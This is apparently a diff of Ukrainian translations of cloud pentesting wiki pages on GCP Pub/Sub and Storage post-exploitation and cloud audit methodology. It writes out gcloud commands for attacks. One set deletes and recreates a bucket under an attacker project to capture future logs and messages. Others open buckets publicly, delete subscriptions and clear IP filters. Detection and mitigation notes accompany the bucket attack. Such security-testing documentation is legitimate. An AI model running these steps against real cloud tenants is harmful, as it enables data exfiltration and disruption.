-Створіть підписку і використайте її для **витягування повідомлень**:
+Створіть підписку та використайте її, щоб **pull messages**:
 
 <details>
 
-<summary>Створити pull-підписку та отримати повідомлення</summary>
+<summary>Створіть pull subscription і отримайте messages</summary>
 ```bash
 # This will retrive a non ACKed message (and won't ACK it)
 gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.delete`
 
-**Видалення підписки** може бути корисним для порушення роботи системи обробки логів або чогось подібного:
+**Видалити subscription** може бути корисно, щоб порушити роботу системи обробки логів або чогось подібного:
 
 <details>
 
-<summary>Видалити підписку</summary>
+<summary>Видалити subscription</summary>
 ```bash
 gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 ```
@@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.subscriptions.update`
 
-Скористайтеся цим дозволом, щоб змінити налаштування так, щоб повідомлення зберігалися у місці, до якого ви маєте доступ (URL, Big Query table, Bucket), або просто щоб порушити їхню доставку.
+Використовуйте цей permission, щоб оновити деякі налаштування так, щоб повідомлення зберігалися в місці, до якого ви маєте доступ (URL, Big Query table, Bucket), або просто щоб зламати його.
 
 <details>
 
-<summary>Оновити кінцеву точку підписки</summary>
+<summary>Update subscription endpoint</summary>
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
 </details>
 
+### Перехоплення bucket-name підписки Cloud Storage - `storage.buckets.delete`
+
+Pub/Sub subscriptions можуть записувати доставлені повідомлення в Cloud Storage buckets. Якщо subscription продовжує вказувати на `gs://<bucket-name>`, і attacker може видалити цей bucket, attacker може відтворити той самий globally-unique bucket name в іншому project і отримувати майбутні messages без зміни subscription.
+
+Це може бути корисно, коли attacker не може використати `pubsub.subscriptions.update`, але може видалити destination bucket з permissions на кшталт `storage.buckets.delete`, `storage.objects.delete` і `storage.objects.list`.
+```bash
+# Find Cloud Storage subscriptions and their destinations
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Empty and delete the destination bucket
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name under attacker control
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Grant the Pub/Sub service agent write access if delivery requires it
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
+--role='roles/storage.legacyBucketReader' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** exfiltration of future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records.
+
+**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets.
+
 ### `pubsub.subscriptions.setIamPolicy`
 
-Надайте собі дозволи, необхідні для виконання будь-якої з попередньо описаних attacks.
+Надайте собі permissions, потрібні для виконання будь-якої з раніше описаних attacks.
 
 ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
 
-Прикріпіть схему до топіка так, щоб повідомлення не відповідали їй і, відповідно, топік було порушено.\
-Якщо схем немає, можливо, доведеться створити її.
+Прив’яжіть schema до topic так, щоб messages не відповідали їй, і therefore topic буде порушено.\
+If there aren't any schemas, вам може знадобитися створити one.
 
 <details>
 
-<summary>Створіть файл схеми та прикріпіть до топіка</summary>
+<summary>Create schema file and attach to topic</summary>
 ```json:schema.json
 {
 "namespace": "com.example",
@@ -174,11 +207,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
 
 ### `pubsub.schemas.delete`
 
-Може здатися, що видаливши schema, ви зможете надсилати повідомлення, які їй не відповідають. Однак, оскільки schema буде видалено, жодне повідомлення фактично не потрапить у topic. Отже це **НЕКОРИСНО**:
+Це може виглядати як видалення schema, після чого ви зможете надсилати messages, які не відповідають schema. Однак, оскільки schema буде видалено, жодне message фактично не потрапить у topic. Тож це **USELESS**:
 
 <details>
 
-<summary>Видалити schema (не корисно)</summary>
+<summary>Delete schema (not useful)</summary>
 ```bash
 gcloud pubsub schemas delete <SCHEMA NAME>
 ```
@@ -186,15 +219,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
 
 ### `pubsub.schemas.setIamPolicy`
 
-Надайте собі дозволи, необхідні для виконання будь-якої з раніше зазначених атак.
+Надайте собі дозволи, потрібні для виконання будь-яких із попередньо описаних атак.
 
 ### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
 
-Це створить snapshot усіх unACKed messages і поставить їх назад у subscription. Не дуже корисно для атакувальника, але ось:
+Це створить snapshot усіх unACKed messages і поверне їх назад у subscription. Не дуже корисно для attacker, але ось як це зробити:
 
 <details>
 
-<summary>Створити snapshot і виконати seek до нього</summary>
+<summary>Create snapshot and seek to it</summary>
 ```bash
 gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
 --subscription=YOUR_SUBSCRIPTION_NAME
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
index 6b40ab9ff..603a07f4c 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
@@ -10,9 +10,9 @@
 ../gcp-services/gcp-storage-enum.md
 {{#endref}}
 
-### Надати публічний доступ
+### Give Public Access
 
-Можна надати зовнішнім користувачам (зареєстрованим у GCP або ні) доступ до вмісту bucket. Проте за замовчуванням для bucket опція публічного доступу буде вимкнена:
+Можна надати зовнішнім користувачам (увійшли вони в GCP чи ні) доступ до вмісту buckets. Однак за замовчуванням bucket матиме вимкнену опцію публічного відкриття bucket:
 ```bash
 # Disable public prevention
 gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
 gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
 gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
 ```
-Якщо ви спробуєте надати **ACLs для bucket, у якого вимкнено ACLs**, ви отримаєте цю помилку: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
+Якщо ви спробуєте надати **ACLs до bucket with disabled ACLs**, ви отримаєте таку помилку: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
 
-Щоб отримати доступ до відкритих bucket через браузер, перейдіть за URL `https://<bucket_name>.storage.googleapis.com/` або `https://<bucket_name>.storage.googleapis.com/<object_name>`
+Щоб отримати доступ до open buckets через browser, відкрийте URL `https://<bucket_name>.storage.googleapis.com/` або `https://<bucket_name>.storage.googleapis.com/<object_name>`
 
 ### `storage.objects.delete` (`storage.objects.get`)
 
-Щоб видалити об'єкт:
+Щоб видалити object:
 ```bash
 gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```
@@ -41,9 +41,41 @@ gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
 ```bash
 gcloud storage rm -r gs://<BUCKET_NAME>
 ```
-### Деактивація HMAC-ключів
+### Global bucket name takeover of upstream writers
 
-Дозвіл `storage.hmacKeys.update` дозволяє деактивувати HMAC-ключі, а дозвіл `storage.hmacKeys.delete` дозволяє ідентичності видаляти HMAC-ключі, пов'язані з сервісними обліковими записами в Cloud Storage.
+Cloud Storage bucket names are globally unique. Перед видаленням bucket перевірте, чи якийсь автоматизований сервіс продовжує записувати в цей bucket за назвою. Якщо bucket буде видалено, а ту саму назву буде створено знову в проєкті, контрольованому attacker, upstream writers, такі як Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions або Storage Transfer Service jobs, можуть продовжити записувати майбутні дані в replacement bucket.
+```bash
+# Cloud Logging sinks using GCS
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,writerIdentity)'
+
+# Pub/Sub subscriptions writing messages into GCS
+gcloud pubsub subscriptions list --project <PROJECT_ID> \
+--format='json(name,topic,cloudStorageConfig)'
+
+# Storage Transfer Service jobs
+gcloud transfer jobs list --project <PROJECT_ID>
+
+# Delete and reclaim the destination bucket name
+gcloud storage rm -r gs://<BUCKET_NAME>
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+```
+Надайте відповідному writer identity доступ до replacement bucket, якщо upstream service цього вимагає:
+```bash
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='<WRITER_IDENTITY_MEMBER>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Потенційний вплив:** довгострокова exfiltration logs, messages, transfer outputs, backups або data pipeline artifacts без зміни оригінального router resource.
+
+**Detection & Mitigation:** treat bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, alert on dangling destinations, restrict `storage.buckets.delete`, and use retention policies or legal holds for critical export buckets when appropriate.
+
+### Deactivate HMAC Keys
+
+The `storage.hmacKeys.update` permission allows disabling HMAC keys, and the `storage.hmacKeys.delete` permission allows an identity to delete HMAC keys associated with service accounts in Cloud Storage.
 ```bash
 # Deactivate
 gcloud storage hmac update <ACCESS_ID> --deactivate
@@ -52,14 +84,13 @@ gcloud storage hmac update <ACCESS_ID> --deactivate
 gcloud storage hmac delete <ACCESS_ID>
 ```
 ### `storage.buckets.setIpFilter` & `storage.buckets.update`
+Дозвіл `storage.buckets.setIpFilter` разом із дозволом `storage.buckets.update` дає змогу ідентичності налаштовувати IP address filters для Cloud Storage bucket, вказуючи, які діапазони IP або адреси можуть отримувати доступ до ресурсів bucket.
 
-Дозвіл `storage.buckets.setIpFilter` у поєднанні з дозволом `storage.buckets.update` дає змогу ідентичності налаштовувати фільтри IP-адрес на Cloud Storage bucket, вказуючи, які діапазони або IP-адреси можуть мати доступ до ресурсів bucket.
-
-Щоб повністю очистити IP-фільтр, можна використати наступну команду:
+Щоб повністю очистити IP filter, можна використати таку команду:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
 ```
-Щоб змінити відфільтровані IP-адреси, можна використати таку команду:
+Щоб змінити відфільтровані IP, можна використати таку команду:
 ```bash
 gcloud storage buckets update gs://<BUCKET_NAME> \
 --ip-filter-file=ip-filter.json \
@@ -77,7 +108,7 @@ JSON-файл представляє сам фільтр, щось на кшта
 }
 ```
 ### `storage.buckets.restore`
-Відновити bucket за допомогою:
+Відновіть bucket за допомогою:
 ```bash
 gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
 --project=<PROJECT_ID>
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 878bc283d..1f26c05ae 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -6,39 +6,65 @@
 
 ## Базова методологія
 
-Кожна хмара має свої особливості, але загалом є кілька **спільних речей, які pentester має перевірити** під час тестування хмарного середовища:
+Кожен cloud має свої особливості, але загалом є кілька **спільних речей, які pentester має перевірити** під час тестування cloud environment:
 
-- **Перевірки бенчмарку**
-- Це допоможе вам **зрозуміти розмір** середовища та **використовувані сервіси**
-- Це також дозволить знайти деякі **швидкі неправильні конфігурації**, оскільки більшість цих тестів можна виконати за допомогою **автоматизованих інструментів**
-- **Перерахування сервісів**
-- Ймовірно ви не знайдете набагато більше неправильних конфігурацій тут, якщо правильно виконали бенчмарк-перевірки, але може трапитись щось, що не шукали під час бенчмарку.
-- Це дозволить вам знати **що саме використовується** в хмарному середовищі
+- **Benchmark checks**
+- Це допоможе вам **зрозуміти масштаб** environment і **services used**
+- Це також дозволить знайти деякі **quick misconfigurations**, оскільки більшість цих тестів можна виконати за допомогою **automated tools**
+- **Services Enumeration**
+- Ймовірно, ви не знайдете тут набагато більше misconfigurations, якщо правильно виконали benchmark tests, але можете виявити ті, які не шукали під час benchmark test.
+- Це дозволить вам зрозуміти, **що саме використовується** в cloud env
 - Це дуже допоможе на наступних кроках
-- **Перевірка експонованих ресурсів**
-- Це можна робити під час попереднього розділу, потрібно **з’ясувати все, що потенційно експоновано** в Internet якимось чином і як до цього можна отримати доступ.
-- Тут я маю на увазі **мануально експоновану інфраструктуру** — наприклад інстанси з веб-сторінками або іншими відкритими портами, а також інші **керовані хмарні сервіси, які можуть бути налаштовані** як експоновані (наприклад DBs або buckets)
-- Потім слід перевірити **чи можна отримати доступ до цього ресурсу** (конфіденційна інформація? вразливості? неправильні конфігурації в експонованому сервісі?)
-- **Перевірка дозволів**
-- Тут ви повинні **виявити всі дозволи кожної ролі/кожного користувача** всередині хмари і як вони використовуються
-- Забагато **високо привілейованих** (control everything) акаунтів? Згенеровані ключі, якими не користуються? ... Більшість цих перевірок вже має бути виконана під час бенчмарку
-- Якщо клієнт використовує OpenID або SAML або іншу federation, можливо вам потрібно попросити додаткову **інформацію** про **те, як призначається кожна роль** (не те саме, коли роль admin призначена 1 користувачу або 100)
-- Недостатньо лише знайти, які користувачі мають права **admin** "\*:\*". Є багато інших **дозволів**, які залежно від використовуваних сервісів можуть бути дуже **чутливими**.
-- Більше того, існують **потенційні privesc** шляхи, які можна використати зловживаючи дозволами. Усі ці речі потрібно врахувати і **по можливості задокументувати якомога більше privesc шляхів**.
-- **Перевірка інтеграцій**
-- Дуже ймовірно, що **інтеграції з іншими хмарами або SaaS** використовуються в межах хмарного середовища.
-- Для **інтеграцій хмари, яку ви аудитуєте,** з іншими платформами слід повідомити **хто має доступ (щоб (злов)використати цю інтеграцію)** і запитати, **наскільки чутлива** дія, що виконується.\
-Наприклад, хто може записувати в AWS bucket, звідки GCP отримує дані (запитайте, наскільки чутлива ця дія в GCP при обробці тих даних).
-- Для **інтеграцій всередині хмари, яку ви аудитуєте,** з зовнішніх платформ, слід запитати **хто зовні має доступ (щоб (злов)використати цю інтеграцію)** і перевірити, як ці дані використовуються.\
-Наприклад, якщо сервіс використовує Docker image, розміщений в GCR, запитайте, хто має доступ змінювати його та яку чутливу інформацію і доступ отримає цей образ при виконанні всередині AWS cloud.
+- **Check exposed assets**
+- Це можна зробити під час попереднього розділу, вам потрібно **з’ясувати все, що потенційно exposed** до Internet якимось чином і як до цього можна отримати доступ.
+- Тут я маю на увазі **manually exposed infrastructure**, як-от instances із web pages або іншими exposed ports, а також **other cloud managed services that can be configured** to be exposed (such as DBs or buckets)
+- Потім слід перевірити, **чи можна цей resource expose чи ні** (confidential information? vulnerabilities? misconfigurations in the exposed service?)
+- **Check permissions**
+- Тут слід **з’ясувати всі permissions кожної role/user** всередині cloud і як вони використовуються
+- Забагато **highly privileged** (control everything) accounts? Generated keys not used?... Більшість цих перевірок уже мали бути виконані в benchmark tests
+- Якщо client використовує OpenID або SAML чи іншу **federation**, можливо, вам потрібно попросити в них додаткову **information** про **how is being each role assigned** (це не те саме, що admin role призначена 1 user або 100)
+- Недостатньо просто знайти, які users мають **admin** permissions "\*:\*". Існує багато **other permissions**, які залежно від використовуваних services можуть бути дуже **sensitive**.
+- Ба більше, існують **potential privesc** способи, які можна використати шляхом abuse permissions. Усе це слід враховувати, і **as much privesc paths as possible** має бути задокументовано в звіті.
+- **Check Integrations**
+- Дуже ймовірно, що всередині cloud env використовуються **integrations with other clouds or SaaS**.
+- Для **integrations of the cloud you are auditing** з іншим platform слід повідомити, **who has access to (ab)use that integration**, і слід запитати, **how sensitive** є action, що виконується.\
+Наприклад, хто може записувати в AWS bucket, з якого GCP отримує data (запитайте, наскільки sensitive є action в GCP, що обробляє ці data).
+- Для **integrations inside the cloud you are auditing** з external platforms слід запитати, **who has access externally to (ab)use that integration**, і перевірити, як саме ці data використовуються.\
+Наприклад, якщо service використовує Docker image, розміщений у GCR, слід запитати, хто має доступ змінювати це, і яку sensitive info та access отримає that image під час виконання всередині AWS cloud.
 
-## Інструменти Multi-Cloud
+### Hunt autonomous data streams writing to globally-unique storage
 
-Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки інсталяції та посилання будуть вказані в цьому розділі.
+During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
+
+Focus this check in the relevant service pages:
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+{{#endref}}
+
+{{#ref}}
+aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+{{#endref}}
+
+{{#ref}}
+azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+{{#endref}}
+
+## Multi-Cloud tools
+
+Існує кілька tools, які можна використовувати для тестування різних cloud environments. Кроки встановлення та посилання будуть вказані в цьому розділі.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Інструмент для **виявлення неправильних конфігурацій та privesc path у хмарах та між хмарами/SaaS.**
+Tool для **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Підтримує **AWS, GCP & Azure**. Перегляньте, як налаштувати кожного провайдера на [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Він підтримує **AWS, GCP & Azure**. Перевірте, як налаштувати кожного провайдера в [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -168,9 +194,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Перевірити всі проєкти</summary>
+<summary>Перевірити всі Projects</summary>
 
-Щоб перевірити всі проєкти, потрібно згенерувати файл `gcp.spc`, що вказує всі проєкти для тестування. Ви можете просто слідувати вказівкам у наведеному нижче скрипті
+Щоб перевірити всі projects, вам потрібно згенерувати файл `gcp.spc`, що вказує всі projects для тестування. Ви можете просто слідувати вказівкам з такого script
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Щоб переглянути **інші GCP insights** (корисні для перерахування сервісів), використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Щоб перевірити **інші GCP insights** (корисні для переліку services) використовуйте: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Щоб переглянути код Terraform для GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Щоб перевірити Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Більше GCP плагінів для Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Більше GCP plugins of Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance
 steampipe dashboard # To see results in browser
 steampipe check all --export=/tmp/output4.json
 ```
-Щоб перевірити код Terraform для AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
+To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
 
-Більше AWS плагінів для Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
+More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
 {{#endtab }}
 {{#endtabs }}
 
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Вимагає python2.7 і виглядає непідтримуваним.
+Потрібен python2.7 і, схоже, проєкт більше не підтримується.
 
 ### Nessus
 
-Nessus має скан _**Audit Cloud Infrastructure**_, який підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Для отримання **Client Id** у **Azure** потрібні додаткові налаштування.
+Nessus має _**Audit Cloud Infrastructure**_ scan, що підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Деякі додаткові налаштування в **Azure** потрібні, щоб отримати **Client Id**.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist — це **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) з Cloud Providers.
+Cloudlist — це **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) від Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography — інструмент на Python, який консолідує інфраструктурні активи та зв'язки між ними в інтуїтивному графовому поданні, що працює на базі Neo4j.
+Cartography — це Python tool, який консолідує infrastructure assets і relationships між ними в інтуїтивному graph view, powered by a Neo4j database.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase збирає активи та взаємозв'язки з сервісів і систем, включно з cloud infrastructure, SaaS applications, security controls та іншими, у зручне графове подання на базі Neo4j database.
+Starbase збирає assets і relationships з services та systems, включно з cloud infrastructure, SaaS applications, security controls і багато чим іншим, у інтуїтивний graph view, що працює на базі database Neo4j.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Виявляє користувачів із найвищими привілеями у просканованому середовищі AWS або Azure, включно з AWS Shadow Admins. Використовує powershell.
+Виявляйте найбільш привілейованих користувачів у просканованому середовищі AWS або Azure, включно з AWS Shadow Admins. Використовує powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +398,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Інструмент для пошуку інфраструктури компанії (цілі), файлів та додатків у провідних хмарних провайдерів (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
+Інструмент для пошуку інфраструктури, файлів і apps компанії (target) у провідних cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox — інструмент для пошуку шляхів атаки, які можна експлуатувати в хмарній інфраструктурі (наразі підтримуються тільки AWS і Azure; GCP буде додано).
-- Це інструмент енумерації, призначений для доповнення ручного pentesting.
-- Він не створює й не змінює жодних даних у хмарному середовищі.
+- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming).
+- It is an enumeration tool which is intended to compliment manual pentesting.
+- It doesn't create or modify any data within the cloud environment.
 
-### Додаткові списки інструментів для безпеки хмар
+### More lists of cloud security tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -410,12 +436,19 @@ aws-security/
 azure-security/
 {{#endref}}
 
-## Загальні функції безпеки хмар
+## Common Cloud Security Features
 
-### Конфіденційні обчислення
+### Confidential Computing
 
 {{#ref}}
 confidential-computing/luks2-header-malleability-null-cipher-abuse.md
 {{#endref}}
 
+## References
+
+- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
+- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
+- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
+- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
+
 {{#include ../banners/hacktricks-training.md}}